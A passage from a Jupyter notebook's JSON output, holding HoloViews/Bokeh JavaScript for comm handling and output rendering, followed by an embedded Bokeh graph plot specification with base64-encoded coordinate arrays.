BokehMethods);\\n\\nwindow.HoloViews.BokehSelectionWidget = BokehSelectionWidget\\nwindow.HoloViews.BokehScrubberWidget = BokehScrubberWidget\\n\\n    function JupyterCommManager() {\\n    }\\n\\n    JupyterCommManager.prototype.register_target = function(plot_id, comm_id, msg_handler) {\\n      if (window.comm_manager || ((window.Jupyter !== undefined) && (Jupyter.notebook.kernel != null))) {\\n        var comm_manager = window.comm_manager || Jupyter.notebook.kernel.comm_manager;\\n        comm_manager.register_target(comm_id, function(comm) {\\n          comm.on_msg(msg_handler);\\n        });\\n      } else if ((plot_id in window.PyViz.kernels) && (window.PyViz.kernels[plot_id])) {\\n        window.PyViz.kernels[plot_id].registerCommTarget(comm_id, function(comm) {\\n          comm.onMsg = msg_handler;\\n        });\\n      }\\n    }\\n\\n    JupyterCommManager.prototype.get_client_comm = function(plot_id, comm_id, msg_handler) {\\n      if (comm_id in window.PyViz.comms) {\\n        return window.PyViz.comms[comm_id];\\n      } else if (window.comm_manager || ((window.Jupyter !== undefined) && (Jupyter.notebook.kernel != null))) {\\n        var comm_manager = window.comm_manager || Jupyter.notebook.kernel.comm_manager;\\n        var comm = comm_manager.new_comm(comm_id, {}, {}, {}, comm_id);\\n        if (msg_handler) {\\n          comm.on_msg(msg_handler);\\n        }\\n      } else if ((plot_id in window.PyViz.kernels) && (window.PyViz.kernels[plot_id])) {\\n        var comm = window.PyViz.kernels[plot_id].connectToComm(comm_id);\\n        comm.open();\\n        if (msg_handler) {\\n          comm.onMsg = msg_handler;\\n        }\\n      }\\n\\n      window.PyViz.comms[comm_id] = comm;\\n      return comm;\\n    }\\n\\n    window.PyViz.comm_manager = new JupyterCommManager();\\n    \\n\\nvar JS_MIME_TYPE = 'application/javascript';\\nvar HTML_MIME_TYPE = 'text/html';\\nvar EXEC_MIME_TYPE = 'application/vnd.holoviews_exec.v0+json';\\nvar CLASS_NAME = 'output';\\n\\n/**\\n * Render data to the DOM node\\n */\\nfunction render(props, node) {\\n  var div = document.createElement(\\\"div\\\");\\n  var script = document.createElement(\\\"script\\\");\\n  node.appendChild(div);\\n  node.appendChild(script);\\n}\\n\\n/**\\n * Handle when a new output is added\\n */\\nfunction handle_add_output(event, handle) {\\n  var output_area = handle.output_area;\\n  var output = handle.output;\\n  if (!output.data.hasOwnProperty(EXEC_MIME_TYPE)) {\\n    return\\n  }\\n  var id = output.metadata[EXEC_MIME_TYPE][\\\"id\\\"];\\n  var toinsert = output_area.element.find(\\\".\\\" + CLASS_NAME.split(' ')[0]);\\n  if (id !== undefined) {\\n    var nchildren = toinsert.length;\\n    toinsert[nchildren-1].children[0].innerHTML = output.data[HTML_MIME_TYPE];\\n    toinsert[nchildren-1].children[1].textContent = output.data[JS_MIME_TYPE];\\n    output_area._hv_plot_id = id;\\n    if ((window.Bokeh !== undefined) && (id in Bokeh.index)) {\\n      PyViz.plot_index[id] = Bokeh.index[id];\\n    } else {\\n      PyViz.plot_index[id] = null;\\n    }\\n  }\\n}\\n\\n/**\\n * Handle when an output is cleared or removed\\n */\\nfunction handle_clear_output(event, handle) {\\n  var id = handle.cell.output_area._hv_plot_id;\\n  if ((id === undefined) || !(id in PyViz.plot_index)) { return; }\\n  var comm = window.PyViz.comm_manager.get_client_comm(\\\"hv-extension-comm\\\", \\\"hv-extension-comm\\\", function () {});\\n  if (comm !== null) {\\n    comm.send({event_type: 'delete', 'id': id});\\n  }\\n  delete PyViz.plot_index[id];\\n  if ((window.Bokeh !== undefined) & (id in window.Bokeh.index)) {\\n    window.Bokeh.index[id].model.document.clear();\\n    delete Bokeh.index[id];\\n  }\\n}\\n\\n/**\\n * Handle kernel restart event\\n */\\nfunction handle_kernel_cleanup(event, handle) {\\n  delete PyViz.comms[\\\"hv-extension-comm\\\"];\\n  window.PyViz.plot_index = {}\\n}\\n\\n/**\\n * Handle update_display_data messages\\n */\\nfunction handle_update_output(event, handle) {\\n  handle_clear_output(event, {cell: {output_area: handle.output_area}})\\n  handle_add_output(event, handle)\\n}\\n\\nfunction register_renderer(events, OutputArea) {\\n  function append_mime(data, metadata, element) {\\n    // create a DOM node to render to\\n    var toinsert = this.create_output_subarea(\\n    metadata,\\n    CLASS_NAME,\\n    EXEC_MIME_TYPE\\n    );\\n    this.keyboard_manager.register_events(toinsert);\\n    // Render to node\\n    var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\\n    render(props, toinsert[0]);\\n    element.append(toinsert);\\n    return toinsert\\n  }\\n\\n  events.on('output_added.OutputArea', handle_add_output);\\n  events.on('output_updated.OutputArea', handle_update_output);\\n  events.on('clear_output.CodeCell', handle_clear_output);\\n  events.on('delete.Cell', handle_clear_output);\\n  events.on('kernel_ready.Kernel', handle_kernel_cleanup);\\n\\n  OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\\n    safe: true,\\n    index: 0\\n  });\\n}\\n\\nif (window.Jupyter !== undefined) {\\n  try {\\n    var events = require('base/js/events');\\n    var OutputArea = require('notebook/js/outputarea').OutputArea;\\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\\n      register_renderer(events, OutputArea);\\n    }\\n  } catch(err) {\\n  }\\n}\\n\"\n     },\n     \"metadata\": {},\n     \"output_type\": \"display_data\"\n    },\n    {\n     \"data\": {\n      \"application/javascript\": [\n       \"\\n\",\n       \"// Ugly hack - see HoloViews #2574 for more information\\n\",\n       \"if (!(document.getElementById('1040')) && !(document.getElementById('_anim_imgNone'))) {\\n\",\n       \"  console.log(\\\"Creating DOM nodes dynamically for assumed nbconvert export. To generate clean HTML output set HV_DOC_HTML as an environment variable.\\\")\\n\",\n       \"  var htmlObject = document.createElement('div');\\n\",\n       \"  htmlObject.innerHTML = `<div id='1040' style='display: table; margin: 0 auto;'>\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"  <div class=\\\"bk-root\\\" id=\\\"c33cb353-a588-4782-978b-e07843b6f0e4\\\"></div>\\n\",\n       \"</div>`;\\n\",\n       \"  var scriptTags = document.getElementsByTagName('script');\\n\",\n       \"  var parentTag = scriptTags[scriptTags.length-1].parentNode;\\n\",\n       \"  parentTag.append(htmlObject)\\n\",\n       \"}\\n\",\n       \"(function(root) {\\n\",\n       \"  function embed_document(root) {\\n\",\n       \"    \\n\",\n       \"  var docs_json = {\\\"d0f945d4-5a6f-4b59-800f-22064666cbbf\\\":{\\\"roots\\\":{\\\"references\\\":[{\\\"attributes\\\":{\\\"below\\\":[{\\\"id\\\":\\\"1048\\\",\\\"type\\\":\\\"LinearAxis\\\"}],\\\"left\\\":[{\\\"id\\\":\\\"1053\\\",\\\"type\\\":\\\"LinearAxis\\\"}],\\\"min_border_bottom\\\":10,\\\"min_border_left\\\":10,\\\"min_border_right\\\":10,\\\"min_border_top\\\":10,\\\"outline_line_alpha\\\":{\\\"value\\\":0},\\\"plot_height\\\":800,\\\"plot_width\\\":800,\\\"renderers\\\":[{\\\"id\\\":\\\"1048\\\",\\\"type\\\":\\\"LinearAxis\\\"},{\\\"id\\\":\\\"1052\\\",\\\"type\\\":\\\"Grid\\\"},{\\\"id\\\":\\\"1053\\\",\\\"type\\\":\\\"LinearAxis\\\"},{\\\"id\\\":\\\"1057\\\",\\\"type\\\":\\\"Grid\\\"},{\\\"id\\\":\\\"1068\\\",\\\"type\\\":\\\"BoxAnnotation\\\"},{\\\"id\\\":\\\"1084\\\",\\\"type\\\":\\\"GlyphRenderer\\\"},{\\\"id\\\":\\\"1090\\\",\\\"type\\\":\\\"GlyphRenderer\\\"},{\\\"id\\\":\\\"1105\\\",\\\"type\\\":\\\"GraphRenderer\\\"}],\\\"title\\\":{\\\"id\\\":\\\"1039\\\",\\\"type\\\":\\\"Title\\\"},\\\"toolbar\\\":{\\\"id\\\":\\\"1064\\\",\\\"type\\\":\\\"Toolbar\\\"},\\\"x_range\\\":{\\\"id\\\":\\\"1036\\\",\\\"type\\\":\\\"Range1d\\\"},\\\"x_scale\\\":{\\\"id\\\":\\\"1044\\\",\\\"type\\\":\\\"LinearScale\\\"},\\\"y_range\\\":{\\\"id\\\":\\\"1037\\\",\\\"type\\\":\\\"Range1d\\\"},\\\"y_scale\\\":{\\\"id\\\":\\\"1046\\\",\\\"type\\\":\\\"LinearScale\\\"}},\\\"id\\\":\\\"1040\\\",\\\"subtype\\\":\\\"Figure\\\",\\\"type\\\":\\\"Plot\\\"},{\\\"attributes\\\":{\\\"data_source\\\":{\\\"id\\\":\\\"1077\\\",\\\"type\\\":\\\"ColumnDataSource\\\"},\\\"glyph\\\":{\\\"id\\\":\\\"1099\\\",\\\"type\\\":\\\"MultiLine\\\"},\\\"hover_glyph\\\":{\\\"id\\\":\\\"1102\\\",\\\"type\\\":\\\"MultiLine\\\"},\\\"muted_glyph\\\":null,\\\"nonselection_glyph\\\":{\\\"id\\\":\\\"1100\\\",\\\"type\\\":\\\"MultiLine\\\"},\\\"selection_glyph\\\":{\\\"id\\\":\\\"1101\\\",\\\"type\\\":\\\"MultiLine\\\"},\\\"view\\\":{\\\"id\\\":\\\"1104\\\",\\\"type\\\":\\\"CDSView\\\"}},\\\"id\\\":\\\"1103\\\",\\\"type\\\":\\\"GlyphRenderer\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1060\\\",\\\"type\\\":\\\"WheelZoomTool\\\"},{\\\"attributes\\\":{\\\"source\\\":{\\\"id\\\":\\\"1086\\\",\\\"type\\\":\\\"ColumnDataSource\\\"}},\\\"id\\\":\\\"1091\\\",\\\"type\\\":\\\"CDSView\\\"},{\\\"attributes\\\":{\\\"axis_label\\\":\\\"x\\\",\\\"bounds\\\":\\\"auto\\\",\\\"formatter\\\":{\\\"id\\\":\\\"1119\\\",\\\"type\\\":\\\"BasicTickFormatter\\\"},\\\"major_label_orientation\\\":\\\"horizontal\\\",\\\"plot\\\":{\\\"id\\\":\\\"1040\\\",\\\"subtype\\\":\\\"Figure\\\",\\\"type\\\":\\\"Plot\\\"},\\\"ticker\\\":{\\\"id\\\":\\\"1049\\\",\\\"type\\\":\\\"BasicTicker\\\"},\\\"visible\\\":false},\\\"id\\\":\\\"1048\\\",\\\"type\\\":\\\"LinearAxis\\\"},{\\\"attributes\\\":{\\\"callback\\\":null,\\\"data\\\":{\\\"end\\\":[5,6,7,8,9,6,10,5,11,12,13,14,15,16,17,18,8,19,20,21,22,10,23,24,25,26,27,28,29,30,31,32,33,6,11,10,5,29,12,8,34,10,35,36,9,5,6,37,38],\\\"source_str__\\\":[\\\"0\\\",\\\"0\\\",\\\"0\\\",\\\"1\\\",\\\"1\\\",\\\"1\\\",\\\"1\\\",\\\"1\\\",\\\"1\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"2\\\",\\\"3\\\",\\\"3\\\",\\\"3\\\",\\\"4\\\",\\\"4\\\",\\\"4\\\",\\\"4\\\",\\\"4\\\",\\\"4\\\",\\\"4\\\",\\\"4\\\",\\\"4\\\",\\\"4\\\",\\\"4\\\",\\\"4\\\"],\\\"start\\\":[0,0,0,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4],\\\"xs\\\":[{\\\"__ndarray__\\\":\\\"6LXLv+5o7z/foXoj5m3uPyY+tRhfae0/6n9C18Fb7D9PXOmWdkXrP4PIcI/lJuo/sbmf+HYA6T8GJT0Kk9LnP6b/D/yhneY/vT7fBQxi5T9613FfOSDkPwO/jkCS2OI/g+r84H6L4T8pT4N4ZzngPzTE0X1oxd0/BDHp15oP2z8Xz9puNlLYP72INLILjtU/VUiEEevD0j9Y8K/4SenPPzQFe8QTQso/5qOFZdSTxD87Qtd1WcC9P/SikUd7UbI/TE3I+T95mz9gDT+dmleSv6Q3fOvmB7C/YKDbD290u78UKhurHmzDv9RUKgAIGMm/vXv/p1K8zr8eZb/hrivSv8o1xjnE89S/lkWG7Ji1178jqnGKXHDavyB5+qM+I92/PMiSyW7N37+QVtZFDjfhv7seXb07guK/dMeWk9fH47+TW7yQeQflv+zlBn25QOa/VnGvIC9z57+jCO9Dcp7ov6q2/q4awum/RYYXKsDd6r9EgnJ9+vDrv3+1SHFh++y/yyrTzYz87b//7EpbFPTuvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"IKAnTCXa7z/Cjq96ItzuP9XNulOY1e0/K8dYqurG7D+P5JhRfbDrP9CPihy0kuo/vTI93vJt6T8rN8BpnULoP98GI5IXEec/rAt1KsXZ5T9gr8UFCp3kP8xbJPdJW+M/v3qg0egU4j8HdkloSsrgP+FuXRyl994/nVG/LMpT3D/YZ9eny6nZPzOFxDNx+tY/S32ldoJG1D++I5kWx47RP1WYfHMNqM0/WJRnDBIuyD/M4jBEK7HCP7lVLM7QZbo/Lk9UBWPTrj+0Jlr5XMSRPyjWTJl9A5q/qsfX0hNpsb8w3rtuZ0S8v1QVwtDdh8O/Rq9a6fjjyL/FFeq09TTOv8NQmXOivNG/qlX7matX1L/4RXynzurWvw5O/fVDddm/VJpf30P2278pV4S9Bm3ev3dYJnVibOC/A+rMX1uc4b9qdqZLCsbiv96To2UL6eO/kNi02voE5b+v2srXdBnmv20w1okVJue//m/HHXkq6L+QL4/AOybpv1UFHp/5GOq/f4dk5k4C678/TFPD1+Hrvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"AAAAAAAA8D/DEZyR1ADvP0z6/Qwi+e0/w6l3hEzp7D9HEFsKuNHrP/8d+rDIsuo/DMOmiuKM6T+a77KpaWDoP8WTcCDCLec/s58xAVD15T+KA0hed7fkP22vBUqcdOM/gZO81iIt4j/rn74Wb+HgP5uJuzjKI98/neTX89F93D8cMXaDvdHZP2dPOgxVINc/xx/IsmBq1D+EgsObqLDRP8WvoNfp580/XgAljxtqyD9ot1undunCP8kqGdMWz7o/rmv9e6iXrz+ERN6HGDGTP7gIs7nLsZi/EsOeYDYbsb9W8A6i4/y7v2/kFhAtZ8O/u+U1pDzGyL+RuxxEEBrOv6nSQdOLsNG/OnERQeFM1L8wWdlGQOHWv0Kq9b/gbNm/LYTCh/ru27+mBpx5xWbev7Eob7i8aeC/DcJyJCea4b9F34buPcTivzKQWQSd5+O/suSYU+AD5b+e7PLJoxjmv9O3FVWDJee/L1av4hoq6L+M121gBibpv8VL/7vhGOq/t8IR40gC678/TFPD1+Hrvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"lqo1JZ7R6j9vnnXU0vvpP0/pAGwAH+k/ZHtxJ3o76D/TRGFCk1HnP8Y1avieYeY/Zz4mhfBr5T/iTi8k23DkP1tXHxGycOM//0eQh8hr4j/2EBzDcWLhP2qiXP8AVeA/CdnX75KH3j/gvsfQPF7cP6XWvBimLto/tADrPnX51z9UHYa6UL/VP+AMwgLfgNM/p6/SjsY+0T/6y9erW/PNP28gg552ZMk/Sh0P5CrSxD85g+NqxT3AP64l0EImUbc/NjMS2INPrD84jgW53geUP8Ts3WZ6dpC/zgIkHs5oqr/Arf7Uxz+2v+7+rQ4nPb+/zjmob/UUxL9ORQu1vIHIv0ZhGGmc48y/jOazzqOc0L8K5MixuMDSv8xIl2Zm3dS/hTTrdQby1r/dxpBo8v3Yv4MfVMeDANu/IF4BGxT53L9oomTs/ObevwMGJeLLZOC/U92+FR9Q4b/75mXVJDXiv9EygOWJE+O/rdBzCvvq479l0KYIJbvkv89Bf6S0g+W/wzRjolZE5r8WubjGt/zmvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"89SrRM0U7D/8lZ0ImTXrP9Bc905TUOo/MvjIXExl6T/cNiJ31HToP5TnEuM7f+c/F9mq5dKE5j8r2vnD6YXlP4m5D8PQguQ/90X8J9h74z80Ts83UHHiPwChmDeJY+E/HA1obNNS4D+Rwpo2/n7eP43YsBK5U9w/rPkx93ck2j9swz1u2/HXP1LT8wGEvNU/3sZzPBKF0z+QO92nJkzRP9adn5zDJM4/3TzWc8iwyT8+j53pnD3FP/DPNBKCzMA/83O2A3K9uD96IUAzC9avPyyxkzoEkZw/YDfIS5dFeb/qkAuQj3ikv7BsuMIH0bK/EvpVPBdQu79e/S8GetvBv0f8KwWOAca/xr7fhgYZyr/WCQx3oiDOvznRuGCQC9G/0qboKKD90r8w6PUJ4OXUv9X3wHmvw9a/Ojgq7m2W2L/mCxLdel3av1TVWLw1GNy/BPfeAf7F3b9z04QjM2bfv5BmlUsafOC/RqNY6bA94b8cUfwljffhv06hcLxeqeK/HsWlZ9VS47/M7YvioPPjvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"faQkSXQt7T/ghW8WNETsP2Geu7QEUus/Zw3okEdX6j9X8tMXXlTpP5hsXrapSeg/j5tm2Ys35z+pnsvtZR7mP0GVbGCZ/uQ/x54onofY4z+c2t4TkqziPytobi4ae+E/2Ga2WoFE4D8U7CsLUhLeP0xq2Dflkts/LIcwFX8L2T95gfJ84nzWPwGY3EjS59M/lQmtUhFN0T/8KUToxFrNPxzy8w0RE8g/G+nlyYzEwj85GS2fe+G6P1m0BKVTMrA/XHsuMbT6lT9gsBQQs9mUv2Ri6cnc06+/YvWJb8yYur+w/mW+/Z/CvwHn4BI47se//TW5gY81zb8RN7krPzrRv+EISHC/1NO/qNHKtIVp1r+SUoMfz/fYv9ZMs9bYftu/qYGcAOD93b8eWcDhEDrgv+LP0KJtcOG/t4Wg1qSh4r86W1AQVc3jvwMxAeMc8+S/refT4ZoS5r/PX+mfbSvnvwN6YrAzPei/5RZgpotH6b8NFwMVFErqvxNbbI9rROu/k8O8qDA27L8mMRX0AR/tvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"B6+rH+oZ7j+kgSGS/ivtPzhYXks2Ouw/spaGPtlE6z/4oL5eL0zqP/zaKp+AUOk/oqjv8hRS6D/fbTFNNFHnP5iOFKEmTuY/uW694TNJ5T8tclACpELkP+P88fW+OuM/xHLGr8wx4j+/N/IiFSjhP7yvmULgHeA/Tn3CA+wm3j/WkNqnPBLcP+lhxFdC/tk/YLjI+Yzr1z8QXDB0rNrVP9AURK0wzNM/eqpMi6nA0T/IySXpTXHPP8QXv55xacs/mM72A95qxz/4fV7lsnbDPyZrDx8gHL8/GwoInipktz9y8JPBiY+vP7ip8ABdkqA/QO3HxuJUbT9ko2QTR0aZv/yIJe940qq/MHTTaBlatL+LGHj/6CG7vxjJLtE138C/6GAw3LAWxL8FRC/URTbHv7/imezUPMq/ZK3eWD4pzb9OFGxMYvrPv+VDWH2QV9G/FjyNSy2j0r/gKoyqd9/Tv25IDLTfC9W/6czEgdUn1r978GwtyTLXv0rru9AqLNi/gfVohWoT2b9IRytl+OfZvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"1OknpMjY7j9cldDxEeLtP+rUvFmt4ew/oBXxGgPY6z+axHF0e8XqP/tOQ6V+quk/5SFq7HSH6D97quqIxlznP9pVybnbKuY/JJEKvhzy5D97ybLU8bLjPwBsxjzDbeI/1OVJNfki4T8ySIP696XfP90nZKdn/Nw/7EQ/7xFK2j+deR1Qx4/XPzigB0hYztQ//JIGVZUG0j9YWEbqnXLOPxKMzEyrzsg/rHWxzfMiwz9ekw3SMOK6P1byeGvo6q4/IBdM+s4LkD/Idi1tOsidvzpIu99Q5rK/4lCZFpFWvr9JB+Gjxt/EvyAMib0Bj8q/NoEZbqwb0L/dmuaBlevSv7v4IpxrttW/lcDFPl572L8hGMbrnDnbvx8lGyVX8N2/qQZeNl5P4L86+08i/qHhvyMDXxej7+K/QLGG1uQ35L9zmMIgW3rlv5pLDredtua/lF1lWkTs578/YcPL5hrpv3npI8wcQuq/JomCHH5h678h09p9onjsv0paKLEhh+2/gLFmd5OM7r+ha5GRj4jvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"6LXLv+5o7z8UrOWYXnHuP+XI/5Yod+0/ZJTObpB67D+VlgbV2XvrP4VXXH5Ie+o/O1+EHyB56T/DNTNtpHXoPyBjHRwZcec/XW/34MFr5j+F4nVw4mXlP5xETX++X+Q/rx0ywplZ4z/H9djtt1PiP+pU9rZcTuE/IsM+0stJ4D/rkM3okYzeP9vZRaQviNw/K3FPQPiG2j/oZlMmc4nYPyXLur8nkNY/8q3udZ2b1D9kH1iyW6zSP4cvYN7pwtA/39zfxp6/zT9a2OBVJwfKP6lxlTx8XcY/5cjPTazDwj9q/MO4jHW+P3ZjPHayh7c/Qgeteee/sD/uT3TRkkCkP3AvQEivV40/4PQo/qrvhL+2ChKYtXChvwvcPmw5RK2/ZRhkeB1ZtL8uxDJtP9u5vxkx5+5kJr+/bo/uKzgcwr+eJjgBoofEv/g9fiRh1Ma/WrXuwmYByb+fbLcJpA3Lv6JDBiYK+My/SRoJRYq/zr816PbJijHQv/Mi8Z/O8NC/TC0KOwmd0b8w99gxszXSvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"QRYXmcdO4r+CTlNUI8Dhv/bB+VM3M+G/dlVjpxmo4L/a7ehd4B7gv/nfxg1DL9+/aIFXY+Yk3r+4iTXb1h7dv5XCEpRAHdy/tPWgrE8g27/E7JFDMCjav3hxl3cONdm/hU1jZxZH2L+cSqcxdF7Xv2kyFfVTe9a/pM5e0OGd1b/46DXiScbUvxtLTEm49NO/v75TJFkp07+WDf6RWGTSv04B/bDipdG/nGMCoCPu0L8y/r99Rz3Qv341z9H0Js+/7AVWANHhzb8QAXjEe6vMv1G6mFtNhMu/DsUbA55syr+ttGT4xWTJv5Ac13gdbci/HJDWwfyFx7+wosYQvK/Gv7PnCqOz6sW/iPIGtjs3xb+RVh6HrJXEvzSntFNeBsS/0HctWamJw7/MW+zU5R/Dv4rmVARsycK/bKvKJJSGwr/YPbFztlfCvy4xbC4rPcK/1Rhfkko3wr8siO3cbEbCv5oSe0vqasK/gUtrGxulwr9ExiGKV/XCv0cWAtX3W8O/7M5vOVTZw7+Yg870xG3Evw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"7W/oTfGD4L/OrS1SWAPgvyZUKjjpCN+/kplfeLIO3r/u+xyGMhjdv1ZLhIKPJdy/2le3ju8227+U8dfLeEzav5LoB1tRZtm/8AxpXZ+E2L/BLh30iKfXvxgeRkA0z9a/DqsFY8f71b+4pX19aC3Vvyjez7A9ZNS/diQeHm2g07+zSIrmHOLSv/kaNitzKdK/W2tDDZZ20b/vCdStq8nQv8nGCS7aItC//uMMXo8Ez79Pt9ejNNDNv6qnt2/wqMy/PlXwAw+Py78wYMWi3ILKv7Foeo6lhMm/6A5TCbaUyL/98pJVWrPHvx+1fbXe4Ma/dvVWa48dxr8sVGK5uGnFv2tx4+GmxcS/YO0dJ6YxxL80aFXLAq7DvxGCzRAJO8O/INvJOQXZwr+OE46IQ4jCv4XLXT8QScK/LqN8oLcbwr+0Oi7uhQDCv0IytmrH98G/AipYWMgBwr8cwlf51B7Cv76a+I85T8K/ElR+XkKTwr9AjiynO+vCv3TpRqxxV8O/2QURsDDYw7+Yg870xG3Evw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"UJJoWIJM3b+M+1Ho6GfcvwpwxmNthdu/1vgRfDal2r/1noDiasfZv3RrXkgx7Ni/XGf3XrAT2L+7m5fXDj7Xv5IRi2Nza9a/8tEdtASc1b/i5Zt66c/Uv25WUWhIB9S/niyKLkhC079/cZJ+D4HSvxcutgnFw9G/c2tBgY8K0b+ZMoCWlVXQvy8ZffX7Sc+/6wSRvt7xzb98OtTqIKPMv/bL3twPXsu/bMtI9/giyr/2SqqcKfLIv6Bcmy/vy8e/ghK0Epewxr+xfoyobqDFv0GzvFPDm8S/Q8LcduKiw7/MvYR0GbbCv/C3TK+11cG/xsLMiQQCwb9c8JxmUzvAv5KlqlDfA7+/QfgbY02svb/u/L3Ji3C8v8LXwEk1Ubu/4KxUqOROur9yoKmqNGq5v6DW7xXAo7i/knNXryH8t79wmxA89HO3v19yS4HSC7e/ihw4RFfEtr8WvgZKHZ62vyx751e/mba/9XcKM9i3tr+Y2J+gAvm2vzrB12XZXbe/BlbiR/fmt78ju+8L95S4vw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"8T8G47Bv2b+R4uv9tKjYv830LSaI4te/dnktcFEd179Wc0vwN1nWv0Dl6LpiltW/AdJm5PjU1L9pPCaBIRXUv0QniKUDV9O/ZJXtZcaa0r+TibfWkODRv6UGRwyKKNG/Zw/9Gtly0L9TTXUuSn/Pv2+ewSoqHs6/xhehU6DCzL/wvtXR+mzLv4yZIc6HHcq/OK1GcZXUyL+V/wbkcZLHvzyWJE9rV8a/zHZh288jxb/lpn+x7ffDvyAsQfoS1MK/HQxo3o24wb97TLaGrKXAv6nl2zd6N7+/kgmijRs2vb/pD0Ng2Ue7v+oDQwFQbbm/1PAlwhunt7/b4W/02PW1vz/ipOkjWrS/Ov1I85jUsr8GPuBi1GWxv+Kv7olyDrC/Brzwcx+erb9PpwKJkFCrvxI4G/ZwNam/y4RCXvlNp7/qo4BkYpulv+ar3avkHqS/OLNh17jZor9S0BSKF82hv64Z/2Y5+qC/wKUoEVdioL//ipkrqQagv76/s7LQ0J+/2bpxPc0IoL9hMul6EGmgvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"5MSb4tZ11b+aAoavW83Uv4coAc5fJNS/sYuZiAp7078Ygdspg9HSv8NdU/zwJ9K/tnaNSnt+0b/3IBZfSdXQv4WxeYSCLNC/0PqICpwIz79IswVYprnNv3k2goZybMy/bC4XK08hy78vRd3aitjJv8Ik7Sp0ksi/MndfsFlPx7+D5kwAig/Gv8Iczq9T08S/98P7UwWbw78phu6B7WbCv2ENv85aN8G/pwOGz5sMwL8OJrgy/s29vwnLs4Kmjbu/VUowuc1Yub8C+F4AETC3vyMocYINFLW/xS6YaWAFs7/8XwXgpgSxv68f1B/8JK6/1iTvRgZfqr+Fd76Jprimv+S/pDwXM6O/LEwJaCWfn793pIGIph6Zv/jYd4Mm55K/uXNiAzT2ib/YXcyv1nN9vyAQFlhxeWC/WLHTwj5eZz+KA33V3kV+P7KbjIbZvoc/j5mUsmSmjz9s7aXOU2qTP37fk3pcopY/w9JOtNd4mT/0dhHTUOubP8h7Fi5T950/AJGYHGqanz8sM+l6EGmgPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"FSC5IX5j0b+8Hc3nQ9rQv6NGz8c5T9C/j5DZKw6Fz789oKVMpmjOv0YXXZqKSc2/m1BavQkozL8zp/ddcgTLv/p1jyQT38m/5xd8uTq4yL/p5xfFN5DHv/dAve9YZ8a/AX7G4ew9xb/7+Y1DQhTEv9UPbr2n6sK/hRrB92vBwb/5dOGa3ZjAv0r0Up6W4r6//AnneQeWvL/o4DMZq0y6v/Yu7sweB7i/C6rK5f/Ftb8PCH6064mzv9/+vIl/U7G/xYh4bLFGrr8CHWEVKfSpv0Umna+gsKW/ShCW3FJ9ob/CjWp79Laav61ryOiimJK/3iMxiExEhb8gwG6Bnq9mv6ipk8D8JXM/pLsZ9HpziD+XKrfKUXiTPyH5UN/Ggpo/97iDulOroD+w3oMkv/ijP/KBPwxrKKc/7DZN0Bw5qj/gkUPPmSmtP/0muWen+K8/PkUifIVSsT9HKL7vxJayP7SG+710yLM/pKollvfmtD8w3ocnsPG1P3NrbSEB6LY/h5whM03Jtz+Iu+8L95S4Pw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"R8LswJh6yr/EqAtX36fJv5Oyj3zrzsi/b1wjlQvwx78OI3EEjgvHvyyDIy7BIca/g/nkdfMyxb/OAmA/cz/Ev8QbP+6OR8O/IcEs5pRLwr+cb9OK00vBv/Sj3T+ZSMC/urXr0WiEvr8tIo3T5nG8v6yG9EtJWrq/r9x2Ai0+uL+kHWm+Lh62vwZDIEfr+rO/Q0bxY//Usb+kQWK4D1qvv0uYae5CB6u/ZIOi+NGypr/W9bZl9l2ivw/FoYjTE5y/tXg0Rstvk7/+2PNCjqSFv7gxML7R7WG/fFFNZqEteT/cenzqWo2NPyjP5v2hMZc/siM51tKJnz+tqnBwZuajPxu/RYAO/Kc/RtzxC6gErD8+D8uE+f6vP46yE67k9LE/f3WuAe/hsz/+1uD1/sW1P5jdVcN3oLc/1Y+4orxwuT9G9LPMMDa7P3cR83k38Lw/8+0g4zOevj8iSHSgxB/AP3x/+mXN6cA/UKB43uWswT/iLUSmv2jCP3irslkMHcM/WJwZlX3Jwz/Kg870xG3EPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"w77nD